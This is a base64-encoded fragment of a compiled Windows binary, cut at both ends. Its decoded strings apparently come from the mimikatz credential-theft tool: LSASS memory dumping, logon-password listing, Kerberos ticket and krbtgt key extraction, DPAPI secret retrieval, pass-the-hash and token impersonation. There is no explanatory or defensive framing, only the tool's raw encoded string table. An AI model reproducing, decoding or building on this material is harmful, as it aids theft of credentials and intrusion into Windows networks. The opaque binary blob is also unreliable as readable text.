AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAkACQBQAGEAcwBzAHcAbwByAGQAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBQAEkATgAgAEMAbwBkAGUAIAAgACAAIAAgACAAIAAgADoAIAAlADAANABoAHUACgAAAAAACQAJAEIAYQBjAGsAZwByAG8AdQBuAGQAIABwAGEAdABoACAAOgAgACUAcwAKAAAAAAAAAAAAAAAJAAkAUABpAGMAdAB1AHIAZQAgAHAAYQBzAHMAdwBvAHIAZAAgACgAZwByAGkAZAAgAGkAcwAgADEANQAwACoAMQAwADAAKQAKAAAAAAAAAAkACQAgAFsAJQB1AF0AIAAAAAAAAAAAAHAAbwBpAG4AdAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAYwBsAG8AYwBrAHcAaQBzAGUAAAAAAAAAYQBuAHQAaQBjAGwAbwBjAGsAdwBpAHMAZQAAAAAAAAAAAAAAAAAAAGMAaQByAGMAbABlACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAIAA7ACAAcgAgAD0AIAAlADMAdQApACAALQAgACUAcwAAAAAAAAAAAAAAAAAAAGwAaQBuAGUAIAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAgAC0APgAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAAAAAAJQB1AAoAAAAJAAkAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlAC4AKgBzAFwAAAAAAAAAJQAuACoAcwAAAAAAAAAAAHQAbwBkAG8AIAA/AAoAAAAJAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAdABlAG0AcAAgAHYAYQB1AGwAdAAAAAAACQBQAGEAdABoACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAACUAaAB1AAAAJQB1AAAAAABbAFQAeQBwAGUAIAAlAHUAXQAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAD8AIAAoAFAAZQByAHMAaQBzAHQAIAA+ACAAbQBhAHgAaQBtAHUAbQApAAAAAAAAAD8AIAAoAHQAeQBwAGUAIAA+ACAAQwBSAEUARABfAFQAWQBQAEUAXwBNAEEAWABJAE0AVQBNACkAAAAAAAAAAAA8AE4AVQBMAEwAPgAAAAAAAAAAAAAAAABUAGEAcgBnAGUAdABOAGEAbQBlACAAOgAgACUAcwAgAC8AIAAlAHMACgBVAHMAZQByAE4AYQBtAGUAIAAgACAAOgAgACUAcwAKAEMAbwBtAG0AZQBuAHQAIAAgACAAIAA6ACAAJQBzAAoAVAB5AHAAZQAgACAAIAAgACAAIAAgADoAIAAlAHUAIAAtACAAJQBzAAoAUABlAHIAcwBpAHMAdAAgACAAIAAgADoAIAAlAHUAIAAtACAAJQBzAAoARgBsAGEAZwBzACAAIAAgACAAIAAgADoAIAAlADAAOAB4AAoAQQB0AHQAcgBpAGIAdQB0AGUAcwAgADoACgAAAAAAQwByAGUAZABlAG4AdABpAGEAbAAgADoAIAAAAAAAAABpAG4AZgBvAHMAAAAAAAAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAbQBvAGQAdQBsAGUAAAAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAuAGUAeABlAAAARgBpAGUAbABkACAAOgAgACUAdQAgAHIAIAB4ACAAJQB1ACAAYwAKAE0AaQBuAGUAcwAgADoAIAAlAHUACgAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAEMAIAAoAFIAIAA9ACAAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBlAG0AbwByAHkAIABSAAoAAAAAACUAQwAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAQgBvAGEAcgBkACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBhAG0AZQAgAGMAbwBwAHkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwAgAGMAbwBwAHkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGkAbgBlAHMAdwBlAGUAcABlAHIAIABQAEUAQgAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE4AbwAgAE0AaQBuAGUAUwB3AGUAZQBwAGUAcgAgAGkAbgAgAG0AZQBtAG8AcgB5ACEACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGUAbABlAG0AZQBuAHQAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGU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AbQBpAG4AaQBkAHUAbQBwACAAOwAgADwAbQBpAG4AaQBkAHUAbQBwAGYAaQBsAGUALgBkAG0AcAA+ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbQBpAHMAcwBpAG4AZwAKAAAAAAAAAAAAAAAAAAAAAABPAHAAZQBuAGkAbgBnACAAOgAgACcAJQBzACcAIABmAGkAbABlACAAZgBvAHIAIABtAGkAbgBpAGQAdQBtAHAALgAuAC4ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIAAhAD0AIABNAEkATQBJAEsAQQBUAFoAXwBOAFQAXwBNAEEASgBPAFIAXwBWAEUAUgBTAEkATwBOACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AFAAcgBvAGMAZQBzAHMAbwByAEEAcgBjAGgAaQB0AGUAYwB0AHUAcgBlACAAKAAlAHUAKQAgACEAPQAgAFAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAXwBBAE0ARAA2ADQAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAdwBpAHQAaABvAHUAdAAgAFMAeQBzAHQAZQBtAEkAbgBmAG8AUwB0AHIAZQBhAG0AIAAoAD8AKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEsAZQB5ACAAaQBtAHAAbwByAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBnAG8AbgAgAGwAaQBzAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AbwBkAHUAbABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBlAG0AbwByAHkAIABvAHAAZQBuAGkAbgBnAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEgAYQBuAGQAbABlACAAbwBuACAAbQBlAG0AbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGMAYQBsACAATABTAEEAIABsAGkAYgByAGEAcgB5ACAAZgBhAGkAbABlAGQACgAAAAAAAAAAAAkAJQBzACAAOgAJAAAAAAAKAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAgAEkAZAAgADoAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAUwBlAHMAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAGYAcgBvAG0AIAAlAHUACgBVAHMAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBEAG8AbQBhAGkAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBMAG8AZwBvAG4AIABTAGUAcgB2AGUAcgAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAAAAAAAAAEwAbwBnAG8AbgAgAFQAaQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAFMASQBEACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAFAAcgBlAHYAaQBvAHUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawByAGIAdABnAHQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABmAGkAbgBkACAASwBEAEMAIABwAGEAdAB0AGUAcgBuACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAcgBiAHQAZwB0ACAAOwAgAEsARABDACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAoAJQBzACAAawByAGIAdABnAHQAOgAgAAAAAAAAAAAAJQB1ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAoAAAAJACAAKgAgACUAcwAgADoAIAAAAAAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAKAAAAAAAAAGYAdQBsAGwAOgAgAAAAAAAKAG0ALwB1ACAAOgAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAE4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQBkACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABQAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AdAByAHUAcwB0ACAAOwAgAFAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEsARABDACAAcwBlAHIAdgBpAGMAZQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwB0AHIAdQBzAHQAIAA7ACAASwBEAEMAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHQAcgB1AHMAdAAgADsAIABPAG4AbAB5ACAAZgBvAHIAIAA+AD0AIAAyADAAMAA4AHIAMgAKAAAAAAAAAAoAIAAgAFsAJQBzAF0AIAAAAAAAAAAAAC0APgAgACUAdwBaAAoAAAAlAHcAWgAgAC0APgAKAAAACQBmAHIAbwBtADoAIAAAAAkAKgAgACUAcwAgADoAIAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBiAGsAZQB5ACAAOwAgAFAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUACgAAAAAAAAAAAGkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAHIAdQBuAAAAeQBlAHMAAABuAG8AAAAAAAAAAAAAAAAAdQBzAGUAcgAJADoAIAAlAHMACgBkAG8AbQBhAGkAbgAJADoAIAAlAHMACgBwAHIAbwBnAHIAYQBtAAkAOgAgACUAcwAKAGkAbQBwAGUAcgBzAC4ACQA6ACAAJQBzAAoAAAAAAAAAAABBAEUAUwAxADIAOAAJADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABvAG4AbAB5ACAAcwB1AHAAcABvAHIAdABlAGQAIABmAHIAbwBtACAAVwBpAG4AZABvAHcAcwAgADgALgAxACAAKABvAHIAIAA3AC8AOAAgAHcAaQB0AGgAIABrAGIAMgA4ADcAMQA5ADkANwApAAoAAABBAEUAUwAyADUANgAJADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADYANAAgACgAMwAyACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAE4AVABMAE0ACQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAG4AdABsAG0AIABoAGEAcwBoAC8AcgBjADQAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAIAAgAHwAIAAgAEwAVQBJAEQAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAAAAAACAAIABcAF8AIABtAHMAdgAxAF8AMAAgACAAIAAtACAAAAAAAAAAAAAgACAAXABfACAAawBlAHIAYgBlAHIAbwBzACAALQAgAAAAAAAAAAAAKgAqACAAVABvAGsAZQBuACAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgAgACoAKgAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEQAdQBwAGwAaQBjAGEAdABlAFQAbwBrAGUAbgBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABHAGUAdABUAG8AawBlAG4ASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtAC8AcgBjADQAIABPAFIAIABhAGUAcwAxADIAOAAgAE8AUgAgAGEAZQBzADIANQA2AAoAAAAA